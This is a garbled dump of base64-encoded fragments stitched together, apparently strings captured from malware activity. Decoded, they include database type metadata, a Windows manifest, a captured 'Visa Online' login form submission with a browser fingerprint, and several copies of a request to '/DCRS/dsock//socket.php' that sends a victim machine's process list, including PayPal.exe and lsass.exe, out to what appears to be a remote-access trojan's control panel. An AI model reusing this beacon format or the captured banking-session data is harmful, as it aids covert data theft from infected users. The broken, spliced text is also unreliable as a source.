cmNoYWJsZVdpdGhMaWtlPmZhbHNlPC9Jc1NlYXJjaGFibGVXaXRoTGlrZT4gICAgPExpdGVyYWxQcmVmaXg+WCc8L0xpdGVyYWxQcmVmaXg+ICAgIDxMaXRlcmFsU3VmZml4Pic8L0xpdGVyYWxTdWZmaXg+ICAgIDxJc0Jlc3RNYXRjaD50cnVlPC9Jc0Jlc3RNYXRjaD4gIDwvRGF0YVR5cGVzPiAgPERhdGFUeXBlcz4gICAgPFR5cGVOYW1lPnZhcmJpbmFyeTwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xPC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MjE0NzQ4MzY0NzwvQ29sdW1uU2l6ZT4gICAgPERhdGFUeXBlPlN5c3RlbS5CeXRlW108L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0PnZhcmJpbmFyeTwvQ3JlYXRlRm9ybWF0Pg==8f:T50c,YWJsZVdpdGhMaWtlPnRydWU8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8TGl0ZXJhbFByZWZpeD4nPC9MaXRlcmFsUHJlZml4PiAgICA8TGl0ZXJhbFN1ZmZpeD4nPC9MaXRlcmFsU3VmZml4PiAgICA8SXNCZXN0TWF0Y2g+ZmFsc2U8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+bm90ZTwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xNjwvUHJvdmlkZXJEYlR5cGU+ICAgIDxDb2x1bW5TaXplPjIxNDc0ODM2NDc8L0NvbHVtblNpemU+ICAgIDxDcmVhdGVQYXJhbWV0ZXJzPm1heCBsZW5ndGg8L0NyZWF0ZVBhcmFtZXRlcnM+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uU3RyaW5nPC9EYXRhVHlwZT4gICAgPENyZWF0ZUZvcm1hdD5ub3RlKHswfSk8L0NyZWF0ZUZvcm1hdD4gICAgPElzQXV0b0luY3JlbWVudGFibGU+ZmFsc2U8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+ZmFsc2U8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ZmFsc2U8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPnRydWU8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8TGl0ZXJhbFByZWZpeD4nPC9MaXRlcmFsUHJlZml4PiAgICA8TGl0ZXJhbFN1ZmZpeD4nPC9MaXRlcmFsU3VmZml4PiAgICA8SXNCZXN0TWF0Y2g+ZmFsc2U8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+dGV4dDwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xNjwvUHJvdmlkZXJEYlR5cGU+ICAgIDxDb2x1bW5T90:T510,YWxzZTwvSXNBdXRvSW5jcmVtZW50YWJsZT4gICAgPElzQ2FzZVNlbnNpdGl2ZT5mYWxzZTwvSXNDYXNlU2Vuc2l0aXZlPiAgICA8SXNGaXhlZExlbmd0aD50cnVlPC9Jc0ZpeGVkTGVuZ3RoPiAgICA8SXNGaXhlZFByZWNpc2lvblNjYWxlPnRydWU8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPmZhbHNlPC9Jc1NlYXJjaGFibGVXaXRoTGlrZT4gICAgPElzVW5zaWduZWQ+ZmFsc2U8L0lzVW5zaWduZWQ+ICAgIDxJc0Jlc3RNYXRjaD5mYWxzZTwvSXNCZXN0TWF0Y2g+ICA8L0RhdGFUeXBlcz4gIDxEYXRhVHlwZXM+ICAgIDxUeXBlTmFtZT5kZWNpbWFsPC9UeXBlTmFtZT4gICAgPFByb3ZpZGVyRGJUeXBlPjc8L1Byb3ZpZGVyRGJUeXBlPiAgICA8Q29sdW1uU2l6ZT4xOTwvQ29sdW1uU2l6ZT4gICAgPERhdGFUeXBlPlN5c3RlbS5EZWNpbWFsPC9EYXRhVHlwZT4gICAgPENyZWF0ZUZvcm1hdD5kZWNpbWFsPC9DcmVhdGVGb3JtYXQ+ICAgIDxJc0F1dG9JbmNyZW1lbnRhYmxlPmZhbHNlPC9Jc0F1dG9JbmNyZW1lbnRhYmxlPiAgICA8SXNDYXNlU2Vuc2l0aXZlPmZhbHNlPC9Jc0Nhc2VTZW5zaXRpdmU+ICAgIDxJc0ZpeGVkTGVuZ3RoPnRydWU8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+dHJ1ZTwvSXNGaXhlZFByZWNpc2lvblNjYWxlPiAgICA8SXNMb25nPmZhbHNlPC9Jc0xvbmc+ICAgIDxJc051bGxhYmxlPnRydWU8L0lzTnVsbGFibGU+ICAgIDxJc1NlYXJjaGFibGU+dHJ1ZTwvSXNTZWFyY2hhYmxlPiAgICA8SXNTZWFyY2hhYmxlV2l0aExpa2U+ZmFsc2U8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8SXNVbnNpZ25lZD5mYWxzZTwvSXNVbnNpZ25lZD4gICAgPEk=91:T50c,QmVzdE1hdGNoPnRydWU8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+bnVtZXJpYzwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT43PC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MTk8L0NvbHVtblNpemU+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uRGVjaW1hbDwvRGF0YVR5cGU+ICAgIDxDcmVhdGVGb3JtYXQ+bnVtZXJpYzwvQ3JlYXRlRm9ybWF0PiAgICA8SXNBdXRvSW5jcmVtZW50YWJsZT5mYWxzZTwvSXNBdXRvSW5jcmVtZW50YWJsZT4gICAgPElzQ2FzZVNlbnNpdGl2ZT5mYWxzZTwvSXNDYXNlU2Vuc2l0aXZlPiAgICA8SXNGaXhlZExlbmd0aD50cnVlPC9Jc0ZpeGVkTGVuZ3RoPiAgICA8SXNGaXhlZFByZWNpc2lvblNjYWxlPnRydWU8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPmZhbHNlPC9Jc1NlYXJjaGFibGVXaXRoTGlrZT4gICAgPElzVW5zaWduZWQ+ZmFsc2U8L0lzVW5zaWduZWQ+ICAgIDxJc0Jlc3RNYXRjaD5mYWxzZTwvSXNCZXN0TWF0Y2g+ICA8L0RhdGFUeXBlcz4gIDxEYXRhVHlwZXM+ICAgIDxUeXBlTmFtZT5iaXQ8L1R5cGVOYW1lPiAgICA8UHJvdmlkZXJEYlR5cGU+MzwvUHJvdmlkZXJEYlR5cGU+ICAgIDxDb2x1bW5TaXplPjE8L0NvbHVtblNpemU+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uQm9vbGVhbjwvRGF0YVR5cGU+ICAgIDxDcmVhdGVGb3JtYXQ+Yml0PC9DcmVhdGVGb3JtYXQ+ICAgIDxJc0F1dG9JbmNyZW1lbnRhYmxlPmZhbHNlPC9Jc0F1dG9JbmNyZW1lbnRhYmxlPiAgICA8SXNDYXNlU2Vuc2l0aXZlPmZhbHNlPC9Jc0Nhc2VTZW5zaXRpdmU+ICAgIDxJc0ZpeGVkTGVuZ3RoPnRydWU8L0lzRml492:T50c,Y2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPnRydWU8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8TGl0ZXJhbFByZWZpeD4nPC9MaXRlcmFsUHJlZml4PiAgICA8TGl0ZXJhbFN1ZmZpeD4nPC9MaXRlcmFsU3VmZml4PiAgICA8SXNCZXN0TWF0Y2g+ZmFsc2U8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+dGltZTwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT42PC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MjM8L0NvbHVtblNpemU+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uRGF0ZVRpbWU8L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0PnRpbWU8L0NyZWF0ZUZvcm1hdD4gICAgPElzQXV0b0luY3JlbWVudGFibGU+ZmFsc2U8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+dHJ1ZTwvSXNGaXhlZExlbmd0aD4gICAgPElzRml4ZWRQcmVjaXNpb25TY2FsZT5mYWxzZTwvSXNGaXhlZFByZWNpc2lvblNjYWxlPiAgICA8SXNMb25nPmZhbHNlPC9Jc0xvbmc+ICAgIDxJc051bGxhYmxlPnRydWU8L0lzTnVsbGFibGU+ICAgIDxJc1NlYXJjaGFibGU+dHJ1ZTwvSXNTZWFyY2hhYmxlPiAgICA8SXNTZWFyY2hhYmxlV2l0aExpa2U+dHJ1ZTwvSXNTZWFyY2hhYmxlV2l0aExpa2U+ICAgIDxMaXRlcmFsUHJlZml4Pic8L0xpdGVyYWxQcmVmaXg+ICAgIDxMaXRlcmFsU3VmZml4Pic8L0xpdGVyYWxTdWZmaXg+ICAgIDxJc0Jlc3RNYXRjaD5mYWxzZTwvSXNCZXN0TWF0Y2g+ICA8L0RhdGFUeXBlcz4gIDxEYXRhVHlwZXM+ICAgIDxUeXBlTmFtZT51bmlxdWVpZGVudGlmaQ==93:T50c,Y2hhYmxlPmZhbHNlPC9Jc1NlYXJjaGFibGU+ICAgIDxJc1NlYXJjaGFibGVXaXRoTGlrZT5mYWxzZTwvSXNTZWFyY2hhYmxlV2l0aExpa2U+ICAgIDxMaXRlcmFsUHJlZml4PlgnPC9MaXRlcmFsUHJlZml4PiAgICA8TGl0ZXJhbFN1ZmZpeD4nPC9MaXRlcmFsU3VmZml4PiAgICA8SXNCZXN0TWF0Y2g+ZmFsc2U8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+dmFyY2hhcjwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xNjwvUHJvdmlkZXJEYlR5cGU+ICAgIDxDb2x1bW5TaXplPjIxNDc0ODM2NDc8L0NvbHVtblNpemU+ICAgIDxDcmVhdGVQYXJhbWV0ZXJzPm1heCBsZW5ndGg8L0NyZWF0ZVBhcmFtZXRlcnM+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uU3RyaW5nPC9EYXRhVHlwZT4gICAgPENyZWF0ZUZvcm1hdD52YXJjaGFyKHswfSk8L0NyZWF0ZUZvcm1hdD4gICAgPElzQXV0b0luY3JlbWVudGFibGU+ZmFsc2U8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+ZmFsc2U8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ZmFsc2U8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPnRydWU8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8TGl0ZXJhbFByZWZpeD4nPC9MaXRlcmFsUHJlZml4PiAgICA8TGl0ZXJhbFN1ZmZpeD4nPC9MaXRlcmFsU3VmZml4PiAgICA8SXNCZXN0TWF0Y2g+dHJ1ZTwvSXNCZXN0TWF0Y2g+ICA8L0RhdGFUeXBlcz4gIDxEYXRhVHlwZXM+ICAgIDxUeXBlTmFtZT5udmFyY2hhcjwvVHlwZU5hbWU+94:T554,X19FVkVOVFRBUkdFVD1jdGwwMCUyNFBsYWNlSG9sZGVyTWFpbiUyNGJ0bkxvZ2luJl9fRVZFTlRBUkdVTUVOVD0mX19MQVNURk9DVVM9Jl9fVklFV1NUQVRFPSMwIyZfX1ZJRVdTVEFURUdFTkVSQVRPUj0jMSMmX19WSUVXU1RBVEVFTkNSWVBURUQ9Jl9fRVZFTlRWQUxJREFUSU9OPSMzIyZjdGwwMCUyNExhbmd1YWdlRERMPWVuLVVTJmN0bDAwJTI0UGxhY2VIb2xkZXJNYWluJTI0dHh0RGV2aWNlVG9rZW49dmVyc2lvbiUzRDElMjZwbV9mcHVhJTNEbW96aWxsYSUyRjUuMCUyMCh3aW5kb3dzJTIwbnQlMjAxMC4wJTNCJTIwd293NjQpJTIwYXBwbGV3ZWJraXQlMkY1MzcuMzYlMjAoa2h0bWwlMkMlMjBsaWtlJTIwZ2Vja28pJTIwY2hyb21lJTJGNTEuMC4yNzA0LjEwMyUyMHNhZmFyaSUyRjUzNy4zNiU3QzUuMCUyMChXaW5kb3dzJTIwTlQlMjAxMC4wJTNCJTIwV09XNjQpJTIwQXBwbGVXZWJLaXQlMkY1MzcuMzYlMjAoS0hUTUwlMkMlMjBsaWtlJTIwR2Vja28pJTIwQ2hyb21lJTJGNTEuMC4yNzA0LjEwMyUyMFNhZmFyaSUyRjUzNy4zNiU3Q1dpbjMyJTI2cG1fZnBzYyUzRDI0JTdDMTkyMCU3QzEwODAlN0MxMDQwJTI2cG1fZnBzdyUzRCUyNnBtX2ZwdHolM0QtNCUyNnBtX2ZwbG4lM0RsYW5nJTNEcnUlN0NzeXNsYW5nJTNEJTdDdXNlcmxhbmclM0QlMjZwbV9mcGp2JTNEMCUyNnBtX2ZwY28lM0QxJmN0bDAwJTI0UGxhY2VIb2xkZXJNYWluJTI0dHh0Q29va2llU3RhdHVzPXRydWUmY3RsMDAlMjRQbGFjZUhvbGRlck1haW4lMjRlbnJvbGx0aXRsZT1FbnJvbGwlMjBpbiUyMFZpc2ElMjBPbmxpbmUmY3RsMDAlMjRQbGFjZUhvbGRlck1haW4lMjRlbnJvbGxUb29sVGlwPUVucm9sbCUyME5vdyZjdGwwMCUyNFBsYWNlSG9sZGVyTWFpbiUyNHNjcm9sbERvd25Ub29sVGlwVGV4dD1TY3JvbGwlMjBEb3duJmN0bDAwJTI0UGxhY2VIb2xkZXJNYWluJTI0aGRuRlBTSW5kaWNhdG9yPTAmY3RsMDAlMjRQbGFjZUhvbGRlck1haW4lMjRWRVBvcFVwVXJsPSZjdGwwMCUyNFBsYWNlSG9sZGVyTWFpbiUyNFZlVXNl95:T504,LS0gSW5kaWNhdGVzIHRoYXQgdGhlIGFwcGxpY2F0aW9uIGlzIERQSS1hd2FyZSBhbmQgd2lsbCBub3QgYmUgYXV0b21hdGljYWxseSBzY2FsZWQgYnkgV2luZG93cyBhdCBoaWdoZXIgICAgICAgRFBJcy4gV2luZG93cyBQcmVzZW50YXRpb24gRm91bmRhdGlvbiAoV1BGKSBhcHBsaWNhdGlvbnMgYXJlIGF1dG9tYXRpY2FsbHkgRFBJLWF3YXJlIGFuZCBkbyBub3QgbmVlZCAgICAgICAgdG8gb3B0IGluLiBXaW5kb3dzIEZvcm1zIGFwcGxpY2F0aW9ucyB0YXJnZXRpbmcgLk5FVCBGcmFtZXdvcmsgNC42IHRoYXQgb3B0IGludG8gdGhpcyBzZXR0aW5nLCBzaG91bGQgICAgICAgIGFsc28gc2V0IHRoZSAnRW5hYmxlV2luZG93c0Zvcm1zSGlnaERwaUF1dG9SZXNpemluZycgc2V0dGluZyB0byAndHJ1ZScgaW4gdGhlaXIgYXBwLmNvbmZpZy4gLS0+ICAgICA8YXBwbGljYXRpb24geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4gICAgPHdpbmRvd3NTZXR0aW5ncz4gICAgICA8ZHBpQXdhcmUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vU01JLzIwMDUvV2luZG93c1NldHRpbmdzIj50cnVlPC9kcGlBd2FyZT4gICAgPC93aW5kb3dzU2V0dGluZ3M+ICA8L2FwcGxpY2F0aW9uPiAgLS0+ICAgIEVuYWJsZSB0aGVtZXMgZm9yIFdpbmRvd3MgY29tbW9uIGNvbnRyb2xzIGFuZCBkaWFsb2dzIChXaW5kb3dzIFhQIGFuZCBsYXRlcikgLS0+ICAgICA8ZGVwZW5kZW5jeT4gICAgPGRlcGVuZGVudEFzc2VtYmx5PiAgICAgIDxhc3NlbWJseUlkZW50aXR5ICAgICAgICAgIHR5cGU9IndpbjMyIiAgICAgICAgICBuYW1lPSJNaWNyb3NvZnQuV2luZG93cy5Db21tb24tQ29udHJvbHMiICAgICAgICAgIHZlcnNpb249IjYuMC4wLjAiICAgICAgICAgIHByb2Nlc3NvckFyY2hpdGVjdHVyZT0iKiIgICAgICAgICAgcHVibGljS2V5VG9rZW49IjY1OTViNjQxNDRjY2YxZGYi96:T520,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48YXNzZW1ibHkgbWFuaWZlc3RWZXJzaW9uPSIxLjAiIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MSI+ICA8YXNzZW1ibHlJZGVudGl0eSB2ZXJzaW9uPSIxLjAuMC4wIiBuYW1lPSJNeUFwcGxpY2F0aW9uLmFwcCIvPiAgPHRydXN0SW5mbyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjIiPiAgICA8c2VjdXJpdHk+ICAgICAgPHJlcXVlc3RlZFByaXZpbGVnZXMgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4gICAgICAgICAgVUFDIE1hbmlmZXN0IE9wdGlvbnMgICAgICAgICAgICAgSWYgeW91IHdhbnQgdG8gY2hhbmdlIHRoZSBXaW5kb3dzIFVzZXIgQWNjb3VudCBDb250cm9sIGxldmVsIHJlcGxhY2UgdGhlICAgICAgICAgICAgICByZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBub2RlIHdpdGggb25lIG9mIHRoZSBmb2xsb3dpbmcuICAgICAgICA8cmVxdWVzdGVkRXhlY3V0aW9uTGV2ZWwgIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSIgLz4gICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCAgbGV2ZWw9InJlcXVpcmVBZG1pbmlzdHJhdG9yIiB1aUFjY2Vzcz0iZmFsc2UiIC8+ICAgICAgICA8cmVxdWVzdGVkRXhlY3V0aW9uTGV2ZWwgIGxldmVsPSJoaWdoZXN0QXZhaWxhYmxlIiB1aUFjY2Vzcz0iZmFsc2UiIC8+ICAgICAgICAgICAgU3BlY2lmeWluZyByZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBlbGVtZW50IHdpbGwgZGlzYWJsZSBmaWxlIGFuZCByZWdpc3RyeSB2aXJ0dWFsaXphdGlvbi4gICAgICAgICAgICAgUmVtb3ZlIHRoaXMgZWxlbWVudCBpZiB5b3VyIGFwcGxpY2F0aW9uIHJlcXVpcmVzIHRoaXMgdmlydHVhbGl6YXRpb24gZm9yIGJhY2t3YXJkcyAgICAgICAgICAgIGNvbXBhdGliaWxpdHkuICAgICAgICAtLT4gICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRp97:T520,MjQ0MDIyNWY5M2F9Ii8+ICAgICBUaGUgSUQgYmVsb3cgaW5kaWNhdGVzIGFwcGxpY2F0aW9uIHN1cHBvcnQgZm9yIFdpbmRvd3MgOCAtLT4gICAgICA8c3VwcG9ydGVkT1MgSWQ9Ins0YTJmMjhlMy01M2I5LTQ0NDEtYmE5Yy1kNjlkNGE0YTZlMzh9Ii8+ICAgICBUaGUgSUQgYmVsb3cgaW5kaWNhdGVzIGFwcGxpY2F0aW9uIHN1cHBvcnQgZm9yIFdpbmRvd3MgOC4xIC0tPiAgICAgIDxzdXBwb3J0ZWRPUyBJZD0iezFmNjc2Yzc2LTgwZTEtNDIzOS05NWJiLTgzZDBmNmQwZGE3OH0iLz4gICAgIFRoZSBJRCBiZWxvdyBpbmRpY2F0ZXMgYXBwbGljYXRpb24gc3VwcG9ydCBmb3IgV2luZG93cyAxMCAtLT4gICAgICA8c3VwcG9ydGVkT1MgSWQ9Ins4ZTBmN2ExMi1iZmIzLTRmZTgtYjlhNS00OGZkNTBhMTVhOWF9Ii8+ICA8L2FwcGxpY2F0aW9uPjwvY29tcGF0aWJpbGl0eT48YXNtdjM6YXBwbGljYXRpb24geG1sbnM6YXNtdjM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4gIDxhc212Mzp3aW5kb3dzU2V0dGluZ3MgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vU01JLzIwMDUvV2luZG93c1NldHRpbmdzIj4gICAgPGRwaUF3YXJlPnRydWU8L2RwaUF3YXJlPiAgPC9hc212Mzp3aW5kb3dzU2V0dGluZ3M+PC9hc212MzphcHBsaWNhdGlvbj48L2Fzc2VtYmx5PlBQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUA==98:T45c,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXdpbmxvZ29uLmV4ZSUzQ1NUUiUzRXRhc2tob3N0LmV4ZSUzQ1NUUiUzRWRsbGhvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VQYXlQYWwuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXNlcnZpY2VzLmV4ZSUzQ1NUUiUzRXNwb29sc3YuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0V3aW5pbml0LmV4ZSUzQ1NUUiUzRVdtaVBydlNFLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZXhwbG9yZXIuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VTeXN0ZW0uZXhlJTNDU1RSJTNFSWRsZS5leGU=99:T440,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXdpbmxvZ29uLmV4ZSUzQ1NUUiUzRXRhc2tob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFUGF5UGFsLmV4ZSUzQ1NUUiUzRWR3bS5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0Vsc20uZXhlJTNDU1RSJTNFbHNhc3MuZXhlJTNDU1RSJTNFZm9udHJldmlldy5leGUlM0NTVFIlM0Vjc3Jzcy5leGUlM0NTVFIlM0VzZXJ2aWNlcy5leGUlM0NTVFIlM0VzcG9vbHN2LmV4ZSUzQ1NUUiUzRWNvbmhvc3QuZXhlJTNDU1RSJTNFd2luaW5pdC5leGUlM0NTVFIlM0VXbWlQcnZTRS5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNvbmhvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWV4cGxvcmVyLmV4ZSUzQ1NUUiUzRWNvbmhvc3QuZXhlJTNDU1RSJTNFU3lzdGVtLmV4ZSUzQ1NUUiUzRUlkbGUuZXhl9a:T478,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXdpbmxvZ29uLmV4ZSUzQ1NUUiUzRXRhc2tob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFUGF5UGFsLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXNlcnZpY2VzLmV4ZSUzQ1NUUiUzRWRsbGhvc3QuZXhlJTNDU1RSJTNFc3Bvb2xzdi5leG